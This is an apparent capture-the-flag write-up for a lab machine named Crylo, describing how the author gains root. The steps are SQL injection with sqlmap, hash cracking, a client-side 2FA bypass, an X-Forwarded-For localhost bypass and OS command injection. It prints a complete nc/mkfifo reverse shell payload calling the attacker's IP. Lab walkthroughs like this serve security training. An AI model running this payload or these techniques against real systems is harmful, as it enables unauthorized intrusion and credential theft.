Crylo
Learn about the CryptoJS library and JavaScript-based client-side encryption and decryption. - by AnoF
Last updated
Learn about the CryptoJS library and JavaScript-based client-side encryption and decryption. - by AnoF
Last updated
Scanning our target with Nmap we can discover two open ports, of which one is a web server and the other one is an ssh server.
We are able to identify several directories of the webpage using gobuster. There are two interesting ones, the login page and the debug page, which is currently blocked.
By trying to access the debug page, we are greeted with a picture and the statement "Forbidden".
By visiting the login page, we get a usual login form.
When trying to log in with self-selected login credentials, the validation.js
stands out. Here, the encrypted response of the server is decrypted via AES and used for further processing. We get the message, "User or Password is invalid" in the JsonResponse variable.
This part of the room has the heading Injection, so maybe the fields can be used for SQL injection attacks. With a simple check by providing the username user'--
we see in the response that the server throws an Internal Server Error. On this assumption, that SQL Injection might work, we fire up SQLMap.
To make things a bit easier for us, we intercept the login request via Burp Suite and save it to be able to use it for SQLMap.
On our first try with SQLmap, we just want to dump the tables of the current database by using the following command. SQLMap version 1.7.7#stable was used on my own Kali VM.
While processing, several prompts have to be made in SQLMap.
Multipart-like data found in POST body. Do you want to process it? [Y/n/q] Y
Cookie parameter 'csrftoken' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N] Y
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] n
(custom) POST parameter 'MULTIPART username' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] Y
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
We see, that the database management system behind the web application is MySQL, and the parameter username is vulnerable to Time-Based Blind SQL Injection Attacks. We were able to enumerate the current database food and 13 table names. Dumping all information would take ages, but with the information we already gathered we might be able to guess the correct table and columns to retrieve the usernames and passwords to speed up the process. We are also able to guess, that the web framework Django is used.
The most noticeable tables are account_pin
and auth_user
. We know that the Django web framework is used, so we quickly ask ChatGPT what the basic structure of the auth_users
table looks like. And we see that the columns username and password are present.
Next, we try to dump the column username
of table auth_user
and are able to retrieve two usernames, admin and anof.
Since that worked so well, we'll try it now with the password
column. And are able to retrieve two entries. But this is a bit odd. One is a Password hash Django (PBKDF2-SHA256) and the other one looks like something base64 encoded. The first entry belongs to the user admin.
Next, we try to crack the hash using Hashcat. To do this, we first need to determine the hash mode for Django (PBKDF2-SHA256). For this, you can call the help for Hashcat or visit the page https://hashcat.net/wiki/doku.php?id=example_hashes. The hash mode is 10000.
Using Hashcat we are able to retrieve the password of the user admin.
admin:[REDACTED]
Providing the login with the correct username and password, we are redirected to /2fa
and have to provide a pin. By using SQLMap, we were able to retrieve the encrypted pin of the user admin, but were not able to decrypt it by the provided keys and IVs in the validation.js
. So there has to be another way to overcome this obstacle.
By checking out the validation.js
again, we see that the jsonResponse
variable is used to redirect to either to /2fa
or /set-pin
. At /set-pin
we are able to set a new pin for the current user that tries to log in.
So the idea is to set a Breakpoint at line 23, and change the content of jsonResponse.set_pin
to "false", to be able to set a new pin during the log in process.
So, we set a breakpoint at line 23 using the mozilla dev tools.
Paste the following snippet into the console.
And continue with the play button.
Now, we are able to set the pin for the user admin, and we choose 1234
.
After setting the pin, we have to move to /login
again, provide the credentials and the pin 1234
. Now we are logged in as admin.
Now visiting the /debug
page in hoping to find something interesting here, we are greeted again with the same picture. It is still forbidden, but we get more information now. Only local users are allowed to access the page.
To bypass this, we just add the X-Fowarded-For
header with the value of the localhost IP address by intercepting the request to /debug
via Burp Suite and add the header. The X-Forwarded-For (XFF)
is a de facto standard HTTP header entry on the Internet. The header is used to convey the user's IP address when the user accesses a web server through a proxy.
Now we are able to access the page. There, we are able to check for open services by providing a port.
To avoid always having to adjust the header, we redirect our request to the Burp Suite Repeater and continue our attack there. It seems that services running on the server are checked via OS commands. Using 80 & ls -lah
as parameters, we see that the system is vulnerable to OS command injection here.
To gain an initial foothold, we set up a listener on 4445
and exploit the OS command injection by passing a nc mkfifo reverse shell providing the payload 80 & rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.9.31.94 4445 >/tmp/f
. By submitting our request, we catch the reverse shell and are now the user crylo on the system.
From there, we are able to retrieve the user flag at the home directory of crylo.
To gain root access, the room gives us again a big hint by providing the questions of which user is part of the sudo group and asking for the users' password. So we remember we found two password entries in the auth_user
table, of which one was base64 encoded. Checking which user is part of the sudo group via getent group sudo, we see that anof is part of the sudo group. Thus, this password might belong to anof. The entire theme of the room is about encryption, so maybe we find something on the machine to decrypt the second password of auth_user
.
Peeking around, we find the web applications directory in the home directory of the user crylo. Let's see, maybe It's possible to find out, how the pins are being encrypted. Maybe the same parameters were used to encrypt the password. Using grep, we are able to locate enc.py
.
Looking at the content of enc.py
we see another hint. There the script tries to encrypt the data "toor", a common root password, using AES. The used key and IV might also be used to encrypt the password. Next, we use those to decipher the found key.
To decipher the password we decode it from base64 and transform it into hex using CyberChef.
We copy the script to our machine and customize it slightly by providing the password as hex representation and declare a new cipher reusing the key and IV.
Running the script, we are able to get the password as plaintext with some trailing bytes.
Next, we use the password to change to the user anof using su. Then we just run /bin/bash with sudo permission, knowing anof is part of that group and providing the password again. We are now root and are able to retrieve the root flag.